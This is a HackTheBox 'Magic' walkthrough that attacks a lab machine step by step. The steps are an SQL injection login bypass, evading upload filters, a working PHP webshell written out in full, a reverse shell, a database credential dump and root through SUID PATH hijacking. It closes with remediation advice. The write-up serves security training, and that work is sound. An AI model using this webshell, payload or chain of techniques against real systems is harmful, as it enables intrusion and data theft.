HackTheBox : Magic

0liverFlow
17 min readDec 5, 2024

--

Magic is a Linux box that covers various interesting techniques. To get an initial access, we will first exploit a login form using a basic SQL injection payload which will then allow us to get access to an upload page. From there, we will try to bypass the file upload checks and send a reverse shell on the web server. This will allow us to get remote code execution. After that, we will move laterally by dumping the content of a MySQL database that contains plaintext credentials. To finish, we will escalate our privileges by exploiting a SUID binary vulnerable to path injection.

Reconnaissance

Nmap

Nmap full tcp scan

We have two TCP open ports : 22 and 80.

Let’s begin our enumeration with the web server.

HTTP — TCP/80

In this section, we will first take a quick glance at the main web page, then identify the technologies used by the web server as well as their versions :

Main web page

As you can see, there is a bunch of images related to magic. That said, let’s continue with enumerating the technologies used by the web server.

Technology Profiling

Whatweb
Requesting the webpage’s header
Enumerating the backend programming language

From the output above, we can conclude that the server is using PHP as a backend programming language.

Well, let’s check if the version of the apache server is vulnerable :

Vulnerability research

As you can notice, we found nothing really interesting. Let’s move on with file and directory enumeration.

File and Directory Enumeration

Here, we will enumerate the files and directories to make sure that we’re not missing anything of interest. Generally, I first check if there is not a robots.txt file before going deeper with the directory/file enumeration :

Checking for robots.txt file

Unfortunately, there is not robots.txt file.

Note : We could achieve the same result using nmap’s http-robots.txt script :

Nmap http-robots.txt

That said, let’s keep on our enumeration with ffuf :

File/directory enumeartion with ffuf

Here is a quick break down of the options used in the command above :

-ic : ignore comments in the wordlist

-c : colorize the output

-o : output the result in a file

-of : specify the output file format

-e .php : add .php extension at the end of each word of the wordlist

-recursion : scan recursively the web page

-recursion-depth <N> : specify the maximum recursion depth (if the value is set to two, this means that we will only scan the directory and its subdirectory. However we will not scan the subdirectory’s subdirectory. Hope it’s clear (:

ffuf output
ffuf html report

As you can see, we got a few files and directories. Let’s take a look at them :

/login.php

Here, we have a login page. Whenever I face a login page, I generally follow this methodology :

  • Look for default credentials based on the technology (e.g : CMS) used by the website
  • Check if there is no public exploit allowing me to bypass the authentication. For that, I will need to know the version of the technology being used by the web server
  • Check if the user controlled input is not vulnerable to SQL injection or any other type of web vulnerabilities such as command injection or XSS.

Here, I tried to check for SQLi as I didn’t find the technology used by the web server.

SQL Injection

To start, I entered a normal input : "admin" and got this error : "Wrong Username or Password".

Entering benign input

Well, let’s now add a single quote at the end of our previous input : "admin'" . Haha, as you can notice on the image below, the login error message does not appear. This could make us think of an SQLi vulnerability.

Testing SQL injection

Let’s try to use another payload : "admin'+or+'a'='a';--+-"

Note : The payload above is url-encoded (I replaced the space character with +).

SQLi found

🪄Abracadabra, SQL injection found !

After exploiting the SQLi, I was redirected to /upload.php

/upload.php

Well, as you can see, it seems that we can only upload “images” to the web server. I put the word “images” in quotes because sometimes we can bypass the file upload restrictions by uploading other file type. That being said, let’s try to see if we can bypass the file upload feature. Shall we ?

File Extension Testing

In this section, we will try to find if the web server is using any type of file extension filter by uploading a file with a non-existent extension. Here I just create a file using this command : echo > magic.404

Trying to upload magic.404
Usage of whitelist filter

Based on the output above, we can conclude that the server is using a whitelist filter for extensions.

With that, let’s upload a benign JPEG file

Uploading a .jpeg file

As we may expected, the image was successfully uploaded. This can also be confirmed by taking a look at Burp :

Intercepting the upload request in Burp

Great ! Let’s see if we can find our uploaded image from the main page :

Retrieving the uploaded image from the main web page

Fantastic ! As you can see there is a dog picture. However, we will need to know where our image is stored. Knowing where the uploaded files are stored will be handy when we upload a reverse shell on the server then try to execute it to get a shell. To find that, you can simply right click on the image, then click on “Open image in new tab” :

Retrieving the directory where uploaded files are stored

Wonderful ! Our file was saved in /images/uploads/. Furthermore, its name does not change. Till now, we know the following information :

1/ The web server is using a whitelist filter for extensions (Only JPEG, JPG and PNG files are allowed)

2/ The uploaded files are stored in /images/uploads/ directory

3/ The uploaded filenames do not change once uploaded

Awesome ! Let’s continue our enumeration by checking the MIME type.

MIME Type Testing

A MIME type (also known as Multipurpose Internet Mail Extension) is a standard that indicates the format of a file.

Here is our legitimate request that uses our benign image dog.jpeg :

Legitimate request

As you can see, the MIME type is represented by Content-Type: image/jpeg which is entirely normal. Let’s change this MIME type, then send the request to the web server and see how it handles it.

Mime Type modification

Here I changed the MIME type to Content-Type: application/x-php which tells the web server that the uploaded file format is php :

Changing the MIME type to application/x-php

As you can notice, the file was successfully uploaded which possibly mean that the web server doesn’t apply any filter on the MIME type. Alright, let’s check now the magic bytes.

Magic Bytes Testing

Magic Bytes are data used to identify or verify the content of a file. You can find them at the very beginning of a file.

Here again, we will use our legitimate request that will modify later :

Legitimate request

In the legitimate request we can see the following string “ÿØÿá” at the beginning of the uploaded file (just below Content-Type). Indeed, this represents the magic byte of a JPEG file. Let’s remove that, then send the modified request to the web server and see how it handles that.

Removing the magic bytes

Removing the magic bytes

Haha, this time the file was not successfully uploaded. We can then conclude that the server probably performs a magic byte check.

So far, we know that the web server is performing a file extension filtering and a magic byte check. Let’s see if we can bypass the file extension filtering by uploading a file with a double extension.

Double Extensions Testing

In this section, we will try to upload files with a double extension. For instance, we may try to upload filenames such as shell.jpeg.php. This technique may sometimes bypass a whitelist filter, allowing a PHP script to be uploaded and executed on the server. To do that, we will use Burp Intruder with this wordlist.

Downloading extensions list

Once the extension wordlist downloaded, we will try to check if we can bypass the file upload feature using Burp Intruder’s Sniper attack.

Burp Intruder

Note : Before starting the attack, let’s make a few changes :

1/ Go to Payloads > Payload Encoding and remove the “.” character from the list to avoid it being encoded :

Excluding the dot (.) character from encoding characters

2/ Go to Settings > Grep — Match then enter the error message we got after uploading an unauthorized file extension (“Sorry, only JPG, JPEG & PNG files are allowed.”). This will be used to flag HTTP responses containing the specified message :

Once done, we can launch our sniper attack using the extensions wordlist :

Sniper attack

As you can notice, the files highlighted above were successfully uploaded.

Let’s take a look at the main webpage to see if our files were uploaded :

Interesting ! As you can see, new images are displayed. Most of them are ducks images on a plane (-_-)

Let’s check if we can retrieve the uploaded files from the /images/uploads/ directory.

/images/uploads/dog.php%00.jpg

Unfortunately, I was not able to retrieve the uploaded file though it should have normally been uploaded. Nevertheless, that’s not over. Let’s try to upload a .php.jpg file by injecting a PHP code in the image with exiftool :

Injecting php code into an image via exiftool

After injecting the php code, let’s rename the file into dog.php.jpg then upload it :

Renaming .jpg file to .php.jpg
Uploading dog.php.jpg

Here is the request intercepted in Burp Proxy :

Intercepted request

Awesome ! The file was successfully uploaded. This result was expected see that the extension .php.jpg was allowed during our snipper attack with Burp Intruder.

Initial Access

In this section, we will try to get an initial foothold to the target machine.

To do that, let’s first check if our .php.jpg file was successfully uploaded in /images/uploads/ :

Checking if dog.php.jpg was successfully uploaded

Great ! We can access our file. Furthermore, our php code was successfully executed.

That said, let’s try to send the previous intercepted request to Repeater :

Sending the intercepted request to repeater

Here, we will include the following webshell in the intercepted request’s body then we will send it to the server :

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Command Executor</title>
</head>
<body>
<h1>Command Executor</h1>

<!-- Form to enter commands -->
<form method="get" action="">
<label for="cmd">Enter Command:</label>
<input type="text" id="cmd" name="cmd" required>
<button type="submit">Execute</button>
</form>

<hr>

<!-- Command Execution -->
<?php
if (isset($_GET['cmd'])) {
// Executes the entered command and outputs the result
system($_GET['cmd'] . ' 2>&1');
}
?>
Including the webshell in the intercepted request’s body

Wonderful ! Let’s browse our .php.jpg file again and check if we can execute system commands using our webshell :

Command execution via the webshell

Fantastic ! We got a webshell. Let’s try to get a reverse shell now. For that, we will first launch Villain which is a python C2 that can handle multiple reverse TCP connections. I personally used this tool rather than netcat because I found it more stable.

Launching Villain

After launching, I used another great tool called shellerator that you can use to generate reverse shells :

Generating a bash reverse shell

Once the reverse shell generated, let’s execute it using our webshell :

Executing the reverse shell using the webshell

🧙‍♂️ Abracadabra ! Reverse shell obtained :)

Getting a reverse shell

Note : Before going further with the internal reconnaissance phase, we will need to stabilize our reverse shell using the following commands :

Stabilizing the reverse shell

That said, let’s start our internal reconnaissance :

Enumerating uid and gid

I took a look at the files inside the uploads directory as well as the images directory but found nothing really interesting. Nevertheless, in the Magic directory, I fell across a php file that contained database credentials :

Plaintext database credentials found in php file
Enumerating users with a shell

Using that credentials, I tried to authenticate to theseus account using SSH :

SSH authentication failed

As you can see, the SSH authentication failed because only publickey authentication is allowed. This could be checked using this nmap script :

Enumerating SSH authentication methods

That said, let’s try to authenticate to the user account directly from our reverse shell using the su command :

Authentication failed

Too bad ! Our authentication attempt failed. It seems that theseus didn’t reuse the database’s password for his account.

One thing that we have not tried so far is to check if we could authenticate to the database using mysql :

Trying to authenticate to Magic database using MySQL

MySQL is not installed on the target system. Therefore we need to find an alternative to get the content of the database. This is where mysqldump comes in :

Mysqldump usage
Dumping data from Magic database using mysqldump
Retrieving plaintext password in the database

Awesome ! We found a new password ‘Th3s3usW4sK1ng’. Let’s see if we can authenticate to theseus account using that password :

Authentication succeeded

Great ! We have been able to authenticate to theseus account. Let’s retrieve the user flag. Shall we ?

User.txt flag

Well, let’s try to authenticate to the system using SSH. For that, let’s check if we can find a private ssh key :

Searching for SSH keys

Unfortunately, there is no private key in the current user’s .ssh folder. Therefore, we can try to generate a pair of ssh keys, then copy the public key on the target system :

Generating a pair of SSH keys
Generated private and public keys
Base64 encoded public key

Let’s now copy the generated public key (id_ed25519.pub) in the target system’s authorized_keys file :

Copying the public key to the target system

Once done, we can connect to theseus account using the private key (id_ed25519) :

SSH authentication succeeded

Privilege Escalation

In this section, we will look for privilege escalation vectors that will provide us with root access.

Enumerating theseus’ privileges
Enumerating scheduled tasks
Enumerating SUID binaries

The command above returned 88 SUID binaries. This include default and custom binaries. Trying to differ these binaries manually can be a nightmare 🥲. This is where a tool such as SUID3NUM can be handy. This script separates default binaries from custom binaries, cross-match them with binaries in GTFO Bin’s repository and auto-exploit them.

Note : The auto-exploit will not be executed if you do not use the -e option.

Launching a python web server
Executing SUID3NUM on the target system
Default SUID binaries
Custom SUID binaries

Wonderful ! We found a custom SUID binary /bin/sysinfo

Let’s check if we can find a way to leverage that using gtfoblookup. This is an offline command line lookup utility for GTFOBins, LOLBAS, WADComs and HijackLibs :

As you can see, the binary was not found in GTFOBins. That said, let’s try to execute it and see what it does :

Executing the binary

Execution of /bin/sysinfo

The program returns information regarding hardware, disk, CPU and memory usage. Let’s check if we can escalate our privileges by exploiting a non-existent shared object.

Enumerating shared objects

Here we unfortunately found nothing very useful. Let’s keep on our enumeration by printing the strings in the binary :

Enumerating strings in the binary

Guess what ? The binary uses commands such as lshw, fdisk, catand free without specifying their absolute path. This can be leveraged to escalate our privileges by using a technique called path injection or path hijacking. The issue here is that /bin/sysinfo will need to rely on the PATH environment variable to find the location of the binaries above. Therefore, we can modify this environment variable by adding a directory that we control :

Writing an exploit and save it as lshw

Here our exploit lshw will copy the bash binary as /usr/bin/console, then set it the SUID bit.

After generating our exploit, we will alter the PATH environment variable by adding our controlled directory /dev/shm to the beginning of the variable :

Modifying the PATH environment variable

Once done, let’s make our script executable :

Great ! We can now execute /bin/sysinfo that would execute our exploit :

Executing /bin/sysinfo

Well, let’s check if /usr/bin/console was created :

/usr/bin/console

Awesome ! We must normally get a root shell after successfully executing the console program above :

Root.txt flag

Key Techniques Used

Here are the key techniques, we used to root this box :

  • Basic SQL injection to bypass the authentication
  • File upload restrictions bypass (magic byte and file extension) using Burp
  • Management of TCP reverse shells with Villain
  • Usage of mysqldump to dump the database content and move laterally
  • Generating a pair of SSH keys to get authenticate to the target machine
  • Exploiting a path hijacking to escalate our privileges to root

Lessons Learned

1/ The login page is vulnerable to SQL injection

To access the upload page, we bypassed the login page using a basic SQL injection payload. To fix that, we recommend to validate and sanitize user input by using parameterized queries. Refer here for more informat

2/ The upload feature is vulnerable

To get an initial access, we were able to bypass the file upload restrictions by uploading a webshell that we then used to get a reverse shell. To fix that, we recommend to :

  • Scan uploaded files for malware or malicious strings
  • Utilize a Web Application Firewall (WAF) as a secondary layer of protection

3/ Credentials are insecurely stored in database

After getting an initial access, we were able to dump the database content. This allowed us to retrieve a plaintext password that we then used to move authenticate to theseus’ account. To remediate that, we recommend hashing passwords before storing them.

4/ Binary /bin/sysinfo is vulnerable to path hijacking

To get root access, we exploited a custom SUID binary owned by root and vulnerable to path hijacking. To fix that, we recommend to only use custom SUID binaries if necessary and make sure they are not vulnerable to path hijacking by using the absolute paths of executables.

Wrap Up

That’s it guys. Congrats on having made it so far 👏

I hope you enjoyed the writeup.

If so, do not forget to click on the little clap icon below and subscribe to my newsletter to keep up with my latest articles !

--

--

Written by 0liverFlow

Pentester | Enjoy breaking and building stuffs

No responses yet